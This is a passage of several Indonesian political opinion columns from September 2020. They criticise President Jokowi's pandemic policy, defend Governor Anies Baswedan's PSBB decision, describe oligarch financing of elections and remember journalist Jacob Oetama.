bahkan Presiden yang tahu detail realisasi anggaran, selain Kemenkeu, suka atau tidak. Ini Berbagaya Corona membara di Jakarta. Bisa sangat mengkhwatirkan. Kapasitas rumah sakit, kata Gubernur Anies Baswedan bakal tak mampu menampung orang terinfeksi corona. Hebatnya, Anies mengerti tanggung konstitusional yang disandangnya dan tanggung jawab moral sebagai hamba Allah Subhanahu Wata’ala. Tidak berwacana seperti Presiden. Tetapi lebih banyak bertindak. Itulah Anies, dan itulah pemimpin. Begitulah pemerintahan yang efektif. Rakyat tidak bisa dibiarkan terjatuh semakin dalam pada keadaan yang lebih parah. Mereka tidak bisa dibiarkan sakit dan mati konyol akibat salah kelola pemerintahan. Anies memperlihatkan pemerintahan yang dipimpinnya tidak berwatak korporatis yang selalu totaliter. Bergairah menyepelekan aspirasi. Setelah mengidentifikasi masalah dan memproyeksinya secara ternalar, Anies bertindak. PSBB total hasilnya. Pasar saham terguncang seketika. Airlangga Hartarto, Menko Ekonomi segera mengarahkan rasio kejatuhan pasar saham itu pada putusan Anies. Kejatuhan pasar saham memang acap berakibat fatal. Tetapi para ilmuan tahu kejatuhan pasar saham tidak pernah jadi faktor tunggal kekacauan ekonomi. Itu ditunjukan pada depresi ekonomi tahun 1929-1933. Kejatuhan pasar saham itu hanya melengkapi resesi ekonomi yang telah terjadi setahun sebelumnya. Presiden Herbert Hoveer yang ogah-ogahan mengambil tindakan radikal menangani ekonomi adalah penyebab utamanya. Apakah Jokowi akan mengirim menteri lagi untuk menekan Anies? Itu urusan Presiden. Apakah Presiden akan memaksa Anies melakukan PSBB Komunitas, mikro, sebuah gagasan yang muncul tiba-tiba? Itu juga urusan Presiden. Tetapi secara tata negara status Jakarta sebagai daerah yang diberlakukan PSBB, sampai sekarang belum dicabut. Presiden harus tahu itu. Pelonggaran PSBB, tidak sama hukumnya dengan mencabut PSBB. Pelonggaran tidak lebih dari sekadar menurunkan level PSBB. Bukan pencabutan PSBB. Itu hukumnya. Anies dengan demikian sah mengambil tindakan menghidupkan lagi PSBB seperti sedia kala. Presiden boleh punya mesin kekuasaan. Boleh dihidupkan mesin itu untuk melawan Anies. Tetapi Anies terlalu pintar untuk dipukul. Anies tahu bara corona saat ini merupakan buah pelonggaran PSBB. Anies juga pasti memiliki imajinasi politik tak terlihat. Dia tahu pelonggaran PSBB itu kebijaan Presiden. Sekarang Anies mencegah membesarnya bara itu. Lalu Prersiden mau melarang? Presiden jangan panggil bara politik dan tata negara. Presiden jangan terus-terusan memperlihatkan kekeliruan dalam mengelola negara. Sebab bisa menimbulkan masalah yang belum sempat diperkirakan sebelumnya. Mengutamakan kesehatan, melarang orang berkerumun, menunjuk Pilkada sebagai klaster corona, tetapi membiarkannya tetap berlangsung Pilkada, juga jelas tidak masuk akal sehat Pak Presiden. Tidakkah tabiat pilkada adalah orang berkerumun? Itu inkonsisten yang nya-nyata inkonsistensi. Melawan Anies itu akan terlihat masuk akal, kalau Presiden membungkus pemerintahannya dengan konsistensi. Sayangnya itu tidak terlihat Pak Presiden. Pada saat yang sama faksin anti coronanya tidak oke. Obat yang efektif juga tidak oke. Sekalipun telah berpartner dengan China, vaksinnya belum jelas. Vaksin merah putih, vaksin nasionalisme ini juga baru 50%. Tes Swap juga mahal. Itu karena watak korporatis yang menonjol pada pemerintahan ini. Dalam Raker dengan DPR, Pelaksana Tugas Badan Nasional Penggulangan Bencana (BNPB) menyatakan mahalnya biaya Test Swap karena rumah sakit swasta terlalu mencari untung. Ada yang mengenakan tarif sampai Rp. 2,2 juta, bahkan ada juga yang Rp. 5 juta (CNN Insdonesia, 9/9/2020). Awan panas RUU HIP belum mereda. Pemerintah sedang memanaskan langit politik dengan sertifikasi penceramah Agama Islam. Harga jual minyak pertamina di dalam negeri juga sama. Masih tidak bisa dimengerti orang. UU Corona dan RUU Omnibus, masih terus menyimpang antipati ke pemerintah. Kombinasi tampak tak beraturan. Semua faktor diatas menjadi alasan mendekatnya malapetaka bila Presiden memindahkan gigi kekuasaan menghentikan kebijakan Anies. Semua inkonsistensi Presiden akan silih berganti disajikan. Dan itu sama dengan memanggil malapetaka politik dan tata negara atas pemerintahan Presiden Jokowi. Ingat itu baik-baik. Penulis adalah Pengajar HTN Universitas Khairun Ternate.

Ruhut Situmpul Kelilipan Lagi

by M Rizal Fadillah Jakarta FNN – Sabtu (12/09). Ruhut Sitompul dengan "gagah" menyalahkan Gubernur DKI Jakarta Anies Baswedan. Penyebabnya adalah tertolaknya warga Indonesia untuk memasuki ke 59 negara di dunia. Sebagai akibat dari masih naiknya angka penularan Covid 19 di Indonesia. Jakarta menjadi kambing hitam. Begilah model kelilipan nyata dari mantan anggota Partai Golkar dan Partai Demokrat yang sekarang sudah pindah lagi ke PDIP Ruhut Sitompul. Masa sih Gubernur yang harus disalahkan? Kalau itu urusan negara, ya Presiden dong. Kalau yang dilarang masuk ke 59 negara itu berasal dari warga Jakarta saja, bolehlah Gubernur Anies disalahkan. Ruhut Situmpul ini selalu saja sinis kepada Gubernur Anies. Apa saja yang dilakukan Anies pasti salah di mata Ruhut. Padahal Anies adalah Gubernur yang super serius menangani pandemi Covid 19. Jika kembali menerapkan Pembatasan Sosial Berskala Besar (PSBB) yang jadi alasan, maka Gubernur Jawa Barat juga memperpanjang PSBB untuk wilayah Bogor, Depok, dan Bekasi tuh. Tetapi kenapa Gubenur Jawa Barat tidak dikritisi oleh Ruhut Sitompul? Jawabnya mudah sekali, ya lagi kelilipan itu Ruhut Sitompul. Apalagi kepada bossnya, Jokowi tentu saja lebih tidak kelihatan lagi. Nah yang begini namanya "blind spot". Pukulan telak atas karut-marutnya penanganan Covid 19 oleh Pemerintahan Jokowi adalah larangan masuk ke 59 Negara di dunia. Di medsos ada sindiran, “Indonesia ini negara hebat. Karena sekarang menjadi negara yang disegani eh ditakuti oleh dunia. Ini memprihatinkan sekali. Padahal soal pendanaan sudah menggunakan Perppu, yang sekarang menjadi Undang-Undang Nomor 2 Tahun 2020. UU ini dapat dikategorikan "merampok" APBN. Karena aturan tentang kebebasan memakai dana APBN tanpa harus dipertanggungjawabkan secara hukum. Ditambah lag dengan kontroversi "percobaan" vaksin Cina yang ada kegagalan tersebut. Sudah mahal harga vaksinnya, sehingga kemungkinan susah untuk dijangkau oleh masyarakat lapisan bahwa. Vaksinya bermasalah pula. Jika Ruhut bersikeras bahwa Anies adalah penyebab 59 negara di dunia menolak masuk warga negara Indonesia, maka baiknya dilakukan saja pengusutan secara terbuka. Siapa yang menjadi penyebab, maka dialah penanggungjawab yang sesungguhnya. Apakah Anies, Menteri Kesehatan, Gugus Tugas Covid-19 atau memang Presiden Jokowi sendiri? Untuk itu Komisi "fact finding" harus segera dibentuk. Ini penting, supaya hasilnya juga akurat. Dapat dijadikan sebagai alasan pembenaran untuk mendesak mundur kepada pejabat yang dinilai gagal untuk bertanggungjawab. Sehingga tidak perlu saling tuduh sana-sini. Ruhut Sitompul sepertinya sangat tendensius dalam mengemukakan tuduhannya kepada Gubernur Anies. Meskipun tidak berpengaruh kepada kedudukan Anies saat ini sebagai Gubernur DKI, namun “sikap pandangan kebencian" Ruhut Sitompul ini dinilai tidaklah patut. Adalah hak Ruhut Sitompul untuk berpendapat tentang Gubernur Anies. Tetapi hak orang lain juga untuk menilai mengenai siapa Ruhut Sitompul? Politisi yang hanya bisa menyandar kepada kekuasaan. Tanpa sandar kepada partai yang sedang berkuasa, Ruhut Sitompul bukan siapa. Mudah-mudahan saja tidak ada yang melabel Ruhut Sitompul “politisi kutu loncat kepada yang sedang berkuasa”. Jika Ruhut mendesak Mendagri untuk mem-Plt kan Gubernur Anies, maka boleh juga orang lain mendesak agar Presiden juga di "Plt" kan. Artinya dimundurkan. Toh, itu sah-sah saja. Namanya juga usulan. Bisa diterima, namun bisa juga tidak. Mari kita kuat-kuatan argumen. Bukan kuat-kuatan kekuasaan atau kekayaan. Siapa yang lebih patut mundur, Gubernur DKI atau Presiden RI? Sebaiknya jawab sendiri saja. Penulis adalah Pemerhati Politik dan Kebangsaan.

Demokrasi: Dari Cukong, Oleh Cukong, Untuk Cukong!

Kredo demokrasi, "Dari Rakyat, Oleh Rakyat, Untuk Rakyat, tampaknya perlu segera direvisi lagi". by Hersubeno Arief Jakarta FNN - Sabtu (12/09). Khusus untuk Indonesia, harus segera diubah. Tidak menggambarkan realitas sesungguhnya. Yang lebih tepat: Dari Cukong, Oleh Cukong, Untuk Cukong! Kredo itu lebih sesuai, pas dengan realitas, fakta, dan data praktik rezim pemilu langsung yang kini tengah diterapkan di Indonesia. Menko Polhukam Mahfud MD dalam Webinar dengan pusat studi Pusako FH Universitas Andalas, Padang (11/9) mengungkapkan 92 persen calon kepala daerah dibiayai cukong. Akibatnya sudah bisa diduga. Ketika terpilih muncullah korupsi kebijakan. Sebuah modus korupsi yang jauh lebih berbahaya dibandingkan dengan korupsi uang. "Korupsi kebijakan itu lebih berbahaya dari korupsi uang. Kalau uang bisa dihitung, tapi kalau kebijakan dalam bentuk lisensi penguasaan hutan, lisensi-lisensi penguasaan tambang yang sesudah saya periksa itu tumpang-tindih," kata Mahfud. Dari sisi UU, pemberian lisensi itu legal. Karena seorang kepala daerah boleh memberi konsensi tambang kepada pengusaha dengan memperhitungkan prosentase luas wilayah. Pada praktiknya, kata Mahfud, lisensi itu diberikan lebih luas dari yang seharusnya. Bahkan tak sedikit kepala daerah juga berinisiatif membuka izin baru bagi para cukong yang pernah membantu membiayai masa kampanye ketika Pilkada sebelumnya. Entah mendapat data dari mana, sehingga Mahfud MD bisa menyebut angka pasti 92 persen? Tetapi apa yang disampaikan Mahfud dijamin sahih. Mungkin kalau ada yang meleset, hanya pada jumlah presentasenya. Wakil Ketua KPK Nurul Ghufron pernah mengungkapkan data yang tak jauh berbeda. Dari sebuah riset yang dilakukan oleh KPK, 82 calon kepala daerah dibiayai oleh cukong dan sponsor. Dari situlah korupsi berpangkal. Para cukong ini tidak memberikan dana secara gratis. Seperti perjanjian dengan setan. Perjanjian orang yang mencari pesugihan, kekayaan di tempat-tempat keramat! Untuk daerah yang memiliki potensi tambang, atau hutan mereka meminta imbal balik konsesi. Mulailah mereka menjarah habis tambang dan hutan. Untuk daerah yang tidak memiliki potensi sumber daya alam (SDA) mereka mengincar berbagai kebijakan berupa kemudahan dan proteksi bisnis. Sementara daerah yang tidak punya SDA, secara bisnis juga tidak potensial, para cukong ini mengincar proyek-proyek APBD. Ini level korupsi yang paling kere. Tapi tetap saja setimpal hasilnya. Para cukong inilah yang akan membiayai semua keperluan kandidat. Mulai dari membayar tiket ke parpol, membayar lembaga survei, media dan iklan media, buzzer, pembuatan atribut, pengerahan massa, membayar aparat negara, sampai money politics. Dalam banyak kasus, para cukong ini membentuk konsorsium. Mereka menjadi investor politik. Sebuah bisnis dengan keuntungan berkali lipat! Biasanya tahapanya dimulai dengan menyewa lembaga survei untuk mendeteksi siapa kandidat yang paling potensial. Dengan berbekal peta kekuatan kandidat, para cukong mulai mendekati kandidat. Terciptalah kerjasama saling menguntungkan, berbuntut memainkan kebijakan. Menguras, menghancurkan SDA dan menggarong anggaran negara. Berapa besar dana yang dikeluarkan untuk seorang kandidat kepala daerah? Berdasarkan data dari Kemendagri untuk bupati paling sedikit Rp 25 miliar. Itu untuk daerah miskin. Semakin besar wilayah dan jumlah penduduknya, semakin besar biayanya. Angkanya mencapai ratusan miliar. “Untuk pemilihan gubernur bisa sampai triliunan,” kata Plt Dirjen Politik dan Pemerintahan Umum Kementerian Dalam Negeri Bahtiar (03/12/2019). Pilpres jauh lebih besar Kalau untuk maju sebagai kanidat kepala daerah saja butuh dana sampai triliunan, berapa besar dana untuk capres? Angkanya jelas berkali lipat. Dipastikan tidak ada seorang caprespun yang bisa membiayai dirinya sendiri. Seorang peneliti dari sebuah lembaga survei pernah menyebutkan, setidaknya dibutuhkan Rp 7 triliun. Jumlah itu sangat kecil. Sangat konservatif. Tidak menggambarkan realitas sesungguhnya. Sebagai gambaran saja, pada pilpres 2019 jumlah Tempat Pemungutan Suara (TPS) sebanyak 10.329. Kalau rata-rata ada dua saksi, dengan biaya saksi plus makan minum Rp 500 ribu, maka setidaknya membutuhkan dana Rp 405 miliar. Belum lagi biaya untuk parpol, membeli media dan iklan, pengerahan masa, transport keliling Indonesia, pengerahan massa, money politics, dan biaya-biaya lain yang lebih kompleks, ruwet dan mahal dibanding pilkada. Jangan pernah percaya dengan biaya kampanye yang dilaporkan tim sukses ke KPU. Kendati katanya sudah melalui audit akuntan publik, tapi semua itu hanya boong-boongan. Bayar mahar ke parpol, money politics, pengerahan aparat keamanan dll, pasti tidak pernah dilaporkan. Apakah kandidat membiayai sendiri? Tentu saja TIDAK! Pada Pilpres 2019 Tim Kampanye Prabowo-Sandi melaporkan jumlah penerimaan dana kampanye sebesar Rp 191,5 miliar. Dana Kampanye Prabowo-Sandi sebagian besar berasal dari Cawapres Sandiaga Uno. Total sumbangan Sandi Rp116 miliar atau 61 persen dari angka keseluruhan dana kampanye. Sedangkan Prabowo memberi sumbangan Rp71,4 miliar atau 34 persen dari total keseluruhan. Sementara Tim Kampanye Jokowi-Ma’ruf pada 5 Maret 2019 melaporkan penerimaan dana kampanye sebesar Rp 130, 45 miliar. Dana itu berasal dari sumbangan perorangan, badan usaha, sumbangan dari parpol Dll. Tidak disebutkan adanya sumbangan dari Jokowi dan Ma’ruf. Itu hanya laporan di atas kertas. Biaya kandidat jauh lebih besar. Puluhan triliun. Di situlah para cukong berperan. Mereka membentuk konsorsium dari kalangan taipan yang telah menjelma menjadi oligarki. Mereka kemudian mengendalikan kebijakan politik, ekonomi dan hukum negara. Jejaring dan kuku tajam mereka telah menancap kuat tidak hanya di kalangan eksekutif, yudikatif, para penegak hukum, dan eksekutif. Ketua MPR Bambang Soesatyo secara terbuka pernah mengakui. Dengan bermodal Rp 1 triliun, cukong bisa menguasai Parpol. Artinya mereka bisa menguasai parlemen dan pemerintahan. Kalau begitu dengan menggunakan pisau analisa Mahfud MD, berapa persen kandidat capres yang dibiayai cukong? Jawabannya 100 persen! Tapi kalau mau konservatif, dengan asumsi hanya ada dua pasang capres seperti pada Pilpres 2019, maka setidaknya 50 persen! Cuma harus dicatat. Di kalangan pebisnis, apalagi investor politik ada adagium “Jangan pernah menaruh semua telur dalam satu keranjang.” Dengan kandidat hanya dua calon, buat mereka lebih mudah membagi telurnya dalam dua keranjang. Hanya jumlah dan besarnya saja yang berbeda-beda. Tinggal baku atur. Siapapun yang menang, para cukong akan tetap berkuasa. Demokrasi Indonesia: DARI CUKONG, OLEH CUKONG, UNTUK CUKONG! MERDEKAAAAA!! End Penulis adalah Wartawan Senior FNN.co.id

Kenangan Bersama Jacob Oetama

by Zainal Bintang Jakarta FNN – Sabtu (12/09). Hari Rabu siang (09/09/20) mata saya tertancap berita penting di Kompas Tv. Berita duka : Jacob Oetama dalam usia 88 tahun menghembuskan nafasnya yang terakhir. Innalillahi Wainna Ilaihi Rajiun. Lahir di Borobudur, Magelang, Jawa Tengah 27 September 1931. Delapan belas hari lagi akan berulang tahun yang ke 89. Tidak akan saya nambah lagi komentar tentang keistimewaan sosok almarhum. Kiprahnya di dunia jurnalistik, di pergaulan sosial, wartawan yang sangat berintegritas, maupun sebagai pengusaha media yang piawai. Semuanya sudah diberitakan. Yang saya mau paparkan sisi “human interest” (kemanusiaan) almarhum. Sisinya yang bersahaja. Sesungguhnya disitulah tersembunyi kekuatannya. Persentuhan saya yang mengesankan dengan pak Jacob, terjadi tahun 1987. Kalau saya tidak salah ingat, waktu itu ada acara “Pertemuan Akbar Pemimpin Redaksi dan Pengurus PWI Se- Indonesia” bertempat di Hotel Sahid Jaya, Jakarta. Entah ini, sudah acara PWI se-Indonesia yang ketiga atau keempat. Hanya boleh diikuti kurang lebih 257 media cetak yang punya izin. Di era Orba (Orde Baru) kehidupan pers, khususnya media cetak dikontrol ketat oleh pemerintah melalui Deppen (Departemen Penerangan) dengan Menteri Penerangannya adalah Harmoko (1983 – 1993). Tampil sebagai pembicara di hari terakhir (hari kelima) acara itu adalah Penglima ABRI/Pengkopkamtib Benny Moerdani. Saya mendapat giliran sebagai penanya pertama. Malam itu Benny tampak malas dan suntuk. Mungkin kurang tidur, karena baru tiba di Jakarta beberapa jam yang lalu, selesai mendampingi Presiden Soeharto dalam kunjungan kerja ke luar negeri. Jendral bintang empat yang anti senyum itu kurang semangat. Benny bertanya dengan ketus kepada peserta yang datang dari seluruh Indonesia, “ngapain saudara-saudara ada disini? Ini kan malam minggu. Mestinya anda ada di tengah keluarga”. Suasana langsung kaku dan tegang. Pimpinan sidang Zulharmans Said yang Ketua Umum PWI Pusat, segera membuka acara tanya jawab. Dia menyebut nama saya sebagai penanya pertama. Itupun setelah saya angkat tangan tinggi-tinggi dan setengah menjulurkan kepala ke depan. Maklum, mungkin koran saya “Barata Minggu” tergolong koran kecil (oplag), jadi kurang “diwongke”. Maklum baru delapan tahun di tangan saya. Tanpa sponsor pemodal pula. Juga tanpa kredit bank. Biaya pribadi pula. Hidupnya sangat susah, karena harus bersaing koran raksasa harian seperti “Kompas” dan “Sinar Harapan”. Saya pertanyakan kepada Benny Moerdani, mengapa isi ceramahnya yang hampir sejam lebih itu banyak mengeritik pemberitaan di media cetak yang dianggapnya sering free kick? Mengapa bapak Jendral tidak menyinggung juga belakangan ini banyaknya acara di televisi yang bertentangan kepribadian dan nilai luhur budaya Indonesia? kata saya. Waktu itu satu-satunya televisi yang ada hanya TVRI. Punya pemerintah dan masih hitam putih. Serial di televisi yang saya gugat itu berjudul “Return To Eden” produksi Australia. Apakah pak Jendral tidak menonton acara itu di televisi? kata saya mantap. “Tidak! Saya tidak nonton yang begituan. Saya cuma nonton “Losmen”, jawab Benny tangkas. “Losmen” adalah film seri Indonesia tahun 1980-an yang menceritakan tentang kehidupan sehari-hari keluarga Broto yang mengelola sebuah losmen. Ditulis dan disutradarai pasangan Tatiek Maliyati dan Wahyu Sihombing. Bintangnya Mieke Widjaja, Mang Udel, Mathias Muchus, Ida Lemandan Dewi Yull. “Return To Eden” ditayangkan serial tiap minggu beberapa tahun oleh TVRI. Dibintangi artis seksi Rebecca Giling. Menampilkan gambar nyaris tanpa sensor. Intrik, free seks, adegan porno dan kekerasan serta aneka ragam adegan pembunuhan hingga adegan panas di ranjang pun tidak disensor. Mengaku hal itu bukan kompetensinya, Benny kemudian meminta penanggung jawab televisi untuk menjelaskan. Harmoko malam itu tidak ada. Yang diminta maju adalah Dirjen PPG (Penerbitan, Pers Dan Grafika) Soekarno SH. Dengan tergopoh-gopoh menuju meja sidang. Dia terlihat seperti baru bangun tidur. Mungkin tertidur duduk karena kelelahan sebagai panitia inti. “Maaf, tolong pak Zainal Bintang mengulangi pertanyaannya”, katanya. Pejabat yang satu ini terkenal sangat santun dan lembut. Ketika itu suara peserta menjadi gaduh dan bergantian berteriak, “nah awas lo Bintang, izin kamu dicabut”. Ada juga yang bilang “mampus deh kamu kawan. Izin kamu pasti dicabutlah. Ke laut lah koran kau Bintang “, suara rekan wartawan dari Medan itu pastinya. Teriakan itu sebenarnya adalah sindiran terhadap banyaknya pembreidelan ataupun teguran lewat “sensor” telipon pejabat Deppen (Departemen Penerangan) terhadap beberapa media karena merugikan citra pemerintah. Bahkan masih banyak koran yang izinnya belum dikeluarkan seiring adanya keharusan mengurus izin baru sebagai pengganti izin lama SIT (Surat Izin Terbit) menjadi SIUPP (Surat Izin Usaha Penerbitan Pers) berdasarkan UU Pokok Pers Tahun 1985. Koran saya Barata Minggu izinnya masih ditahan oleh Departemen Penerangan. Karena beritanya dianggap sering “offside” menyindir pemerintah. Dengan tenang saya menjawab, “maaf pak Dirjen dan Pak Benny. Atas nama keselamatan saya, maka pertanyaan saya tarik”. Suasana dalam ruangan tiba-tiba bergemuruh. Heboh. Tidak terduga. Dan mungkin terasa lucu. Sesungguhnya suasana malah menjadi cair karenanya. Itu membuat Benny Moerdani dan rombongan punya alasan untuk segera mengundurkan diri dari acara. Malam itu berlalu tanpa tanya jawab lagi. Sebagian besar peserta menuduh saya “pengacau”. Tapi, nyatanya ada juga yang memuji. Diantara yang memuji adalah Jacob Oetama. Hal itu baru saya ketahui keesokan harinya menjelang penutupan acara. Pak Jacob memanggil saya. Kami bicara sebelum acara dimulai. “Bung Zainal”, katanya memulai pembicaraan dengan dentuman huruf “B” yang “njawani” ketika mengucapkan kata “Bung”. Medok betul. Dan itulah ciri khas Pak Jacob. “Saya mau tahu bung, apa yang ada di fikiran anda, maka tiba-tiba memilih sebuah jawaban yang singkat dan cerdas begitu”. Haahh…?? Saya kaget dan heran dalam hati. Saya tatap wajah Pak Jacob yang terlihat serius, tapi tetap dengan senyum lembutnya. Terlihat butuh jawaban yang jujur. Entah, substansi apa yang ditangkapnya dengan dalam perkataan saya ketika memutuskan membatalkan pertanyaan. “Pak Jacob, maaf saya ini kan pemain teater dan juga film pak. Jadi sebagai seniman, saya memutuskan cepat memberi jawaban yang teateral”, kata saya merendah. Setengah bercanda. Ternyata Pak Jacob ikut tertawa tergelak-gelak, tapi berusaha mengendalikannya. “Oh ya yaa. Saya mengerti. Saya mengerti. Pemain teater sih yaa”, katanya sambil mengangguk-angguk. Humoris juga orang ini yaa. Saya membatin. Agenda tahunan “Pertemuan Akbar Pemred & Pengurus PWI se-Indonesia” itu adalah sebuah tradisi yang digagas Harmoko setelah beberapa kali menjabat Ketua Umum PWI, integrasi hasil kongres pengurus “kembar” di Tretes, Malang, Jawa Timur (1971). Dimulai akhir 1979 dan berakhir setelah beberapa tahun Harmoko diangkat menjadi Menteri Penerangan oleh Soeharto (1983 – 1993). Kongres PWI di Tretes berlangsung kurang dari setahun setelah kasus pengurus “kembar” di Palembang. Kongres itu dilabel dengan frasa “integarsi” untuk menyatukan pengurus PWI yang terbelah dua pada saat kongres ke XIV di Palembang (1970) yang melahirkan dua pengurus, yakni PWI Diah dan PWI Rosihan. Kedua kubu dedengkot wartawan itu berbeda pilihan. Yang satu mendukung BM Diah (Harian Merdeka) yang lainnya memihak Rosihan Anwar (Harian Pedoman) Saya salah satu anggota delegasi dari PWI Sulawesi Selatan bersama beberapa senior, antara lain almarhum Rahman Arge tokoh wartawan dan seniman terkenal ke Tretes waktu itu. Dalam usia 24 tahun. Disitulah saya berkenalan dengan banyak tokoh pers nasional, termasuk Jacob Utama. Beberapa tahun kemudian(1992), saya bertemu lagi pak Jacob di kantor PWI Pusat di Gedung Dewan Pers, Jalan Kebon Sirih, Jakarta Pusat. Waktu itu saya pengurus Bidang Hukum PWI Jaya. Karena suatu keperluan organisasi, saya ke kantor PWI Pusat. Pak Jacob mengajak masuk ke ruangannya. ”Bung Zainal, anda ini bahagia sekali yaa. Anda bebas, anda hiasi korannya dengan foto berwarna dan layout huruf-hurufnyapun berwarna juga”. Saya kaget lagi. Ternyata Pak Jacob sangat detil sekali pencermatannya. Sebagai generasi muda, dalam hati saya salut pada kerendahan hati pemilik koran besar yang mau memperhatikan dengan saksama koran “kecil”. Almarhum menjelaskan dengan mimik sedikit “sedih” mengatakan koran “Kompas” agak “cemburu”. Karena tidak bisa seenaknya merubah layout. Terikat secara kebatinan dengan pembaca tradisionalnya yang masih “konservatif”. Mayoritas pembaca “Kompas” adalah eksekutif papan atas. Termasuk presiden Soeharto dan jajarannya. Almarhum merasa terikat secara moralitas untuk tetap bertahan dengan wajah “Kompas” yang hitam putih. Yang klasik. Era perkembangan teknologi modern beberapa tahun kemudian, memaksakan kompetisi pembaharuan perwajahan media cetak. “Kompas”pun terpicu menjawab permintaan pasar pembaca yang berubah. Generasi muda pembaca yang lebih modis dan trendi mendorong “Kompas” mulai terlihat “agresif”. Kompas mulai berimprovisasi menggunakan tata warna pada perwajahannya. Meski masih terkesan “malu-malu” . “Ohh…Ok..Ok pak Jacob, akhirnya tercapai jugalah cita-citamu”, kata saya dalam hati ketika setiap hari menemukan wajah “Kompas” sudah mulai “berani” warna-warni. Saya “mendekati” sosok seorang Jacob Oetama lebih menggunakan teori teater atau ilmu peran. Saya lebih suka menangkap dimensi lain yang disebut sebagai “gesture” (gerak – gerak kecil) kecil. Gerak-gerak kecil almarhum yang saya ungkapkan itu justru adalah pertanda kekuatan besar yang sejatinya ada pada semua manusia. Tapi tidak banyak yang mampu mengelolanya menjadi energi positif. Dan Pak Jacob ada disitu. Beliau mampu mengelolanya. Menatap upacara pemakaman almarhum di Taman Makam Pahlawan (TMP) Kalibata di layar televisi, wajah pak Jacob berkelebat dalam ingatan saya ketika mendengarkan ratapan lirih lirik lagu “Ibu Pertiwi”. Lagu sedih yang patriotik favorit Pak Jacob. “Kulihat wajah Pak Jacob. Menekan hatinya yang sedih. Tapi tetap senyum. Air matanya tertahan. Pesan moralnya tergenang”. Selamat jalan pak Jacob. Kehadiran dan kepergianmu dikenang. Pesan moralmu terkenang. Penulis adalah Wartawan Senior & Pemerhati Masalah Sosial Budaya.

Jokowi Sudah Tak Efektif Sebagai Pemimpin

by Ubedilah Badrun Jakarta FNN – Sabtu (12/09). Indonesia dihebohkan oleh pernyataan Gubernur DKI Jakarta Anies Baswedan. Indeks Harga Saham Gabungan (IHSG) Bursa Efek Indonesia (BEI) seketika rontok. Kamis 10 September kemarin, IHSG anjlok 5% ke level 4.891. Otoritas bursa sampai menghentikan sementara perdagangan saham, karena anjloknya bursa tergolong parah. Menariknya, selevel Menteri Koordinator Perekonomian Airlangga Hartarto langsung merespon. Namun Airlangga mengatakan, rontoknya IHSG disebabkan karena announcement Gubernur DKI Jakarta terkait akan kembali memberlakukan PSBB. Bagaimana perspektif politik membaca fenomena ini. Saya narasikan secara sederhana saja dalam artikel singkat ini. Ini semacam membenarkan tesisnya Berry Clark dalam Political economy : A Comparative Approach (2016) yang meyakini pendekatan interdisipliner dalam praktik tata kelola negara. Bahwa ada relasi kuat antara politik dan ekonomi, atau sebaliknya. Dalam konteks itu, justru narasi Airlangga Hartarto semakin memperkeruh relasi antara politik dan ekonomi Indonesia saat ini. Saya termasuk yang meyakini bahwa Anies Baswedan sebagai Gubernur membuat kebijakan kembali terapkan PSBB itu pasti berbasis data. Tidak mungkin Gubernur buat kebijakan tanpa data. Nah yang paham data terakhir Jakarta terkait Covid-19 tentu saja Anies Baswedan. Pasti bukan Airlangga Hartarto. Anies Baswedan menyampaikan data sebenarnya. Apa yang disampaikan kepada publik pada 9 September malam tersebut sudah cukup untuk menggambarkan situasi covid-19 di Jakarta saat ini. Bahwa situasi wabah di Jakarta saat ini berada dalam kondisi darurat. Ambang batas kapasitas rumah sakit untuk ruang isolasi dan Intensive Care Unit (ICU) sudah melampaui angka batas aman. Sehingga diperkirakan akan mencapai kapasitas maksimal di 17 September 2020, dan setelah itu fasilitas kesehatan di DKI Jakarta akan kolaps. Selama 6 bulan terakhir, kasus Covid-19 di Jakarta didominasi 50% kasus Orang Tanpa Gejala (OTG). Sekitar 35% lagi adalah kasus gejala ringan-sedang. Demikian data yang disampaikan dalam pernyataan Gubernur DKI tersebut untuk mengambil langkah kembali melakukan PSBB. Pernyataan Gubernur Anies Baswedan di atas dalam perspektif politik sebenarnya itu pernyataan yang biasa-biasa saja. Bukan pernyataan yang luar biasa. Pernyataan yang menunjukan tanggungjawab seorang Gubernur kepada publik. Memang seharusnya begitu Gubernur bekerja. Untuk mengingatkan publik, dan mengambil langkah yang tepat dalam beberapa hari ke depan. Dalam perspektif politik yang dilakukan Anies Baswedan juga menunjukan cara kerja dalam prinsip-prinsip Open Government. Diantaranya prinsip transparansi. Jadi saya justru heran, ko respon menteri-menteri Jokowi tidak support upaya transparansi data dan sikap Gubernur DKI tersebut. Bukankah Jokowi terakhir meski terlambat mengatakan bahwa kesehatan rakyat harus diutamakan daripada ekonomi? Yang dilakukan Anies Baswedan itu tidak bertentangan dengan Jokowi. Ada apa ini justru para menterinya yang nyinyir? Apakah sikap menteri tersebut atas perintah Jokowi? Fenomena respon dari Menko Perekonomian tersebut sesungguhnya adalah suatu pintu untuk membuka, bahwa kekacauan tata kelola pemerintah dalam menangani pandemi covid-19 sedang benar-benar terjadi. Tidak ada kepemimpinan yang solid dalam menangani covid-19. Upaya jujur dan langkah cepat Gubernur DKI terlihat sangat tidak didukung Pemerintah Pusat. Sikap Pemerintah Pusat ini terlihat karena terjadi beberapa kali sejak awal kasus positif covid-19 ditemukan. Beberapa kali langkah cepat DKI Jakarta dibatalkan Presiden Jokowi. Misalnya dalam soal publikasi data, soal keinginan lockdown, dan kini soal rencana kembali berlakukan PSBB. Saat Presiden Jokowi tidak menyetujui langkah Gubernur DKI saat itu, saya berasumsi bahwa Presiden Jokowi mungkin punya kapasitas lebih untuk mengelola situasi pandemi covid ini. Tetapi setelah 6 bulan berlalu, Jokowi ternyata lebih sibuk mengeluarkan aturan yang ternyata tidak efektif dilaksanakan. Keputusan Presiden (Kepres) dan Peraturan Presiden (Perpres) yang saling bertabrakan. Peraturan Presiden Pengganti Undang-Undang (Perppu) yang dikeluarkan Jokowi, dan kemudian menjadi UU Nomor 2 tahun 2020 terlihat dominan untuk memenuhi kepentingan oligarki ekonomi. Namun tidak efektif di lapangan. Jokowi juga terlihat sibuk mendorong RUU Omnibus Law Cipta Kerja agar disahkan DPR, padahal ditolak rakyat. Juga mengesahkan UU Minerba yang juga ditolak rakyat. Sibuk merevisi UU Bank Indonesia yang juga diolak rakyat. Semuanya dilakukan saat rakyat lapar akibat covid-19. Saat seratusan dokter berguguran. Saat rakyat makin susah. Saat ekonomi makin memburuk dengan angka pertumbuhan minus -5 % lebih. Jokowi sibuk marah-marah nggak karuan. Semua menterinya dimarahi karena daya serap APBN-nya yang rendah. Jokowi juga memarahi para Gubernur yang daya serapnya rendah. Tragisnya, ternyata perintah Jokowi sudah tidak bisa ditaati para menterinya. Fenomena regulasi yang 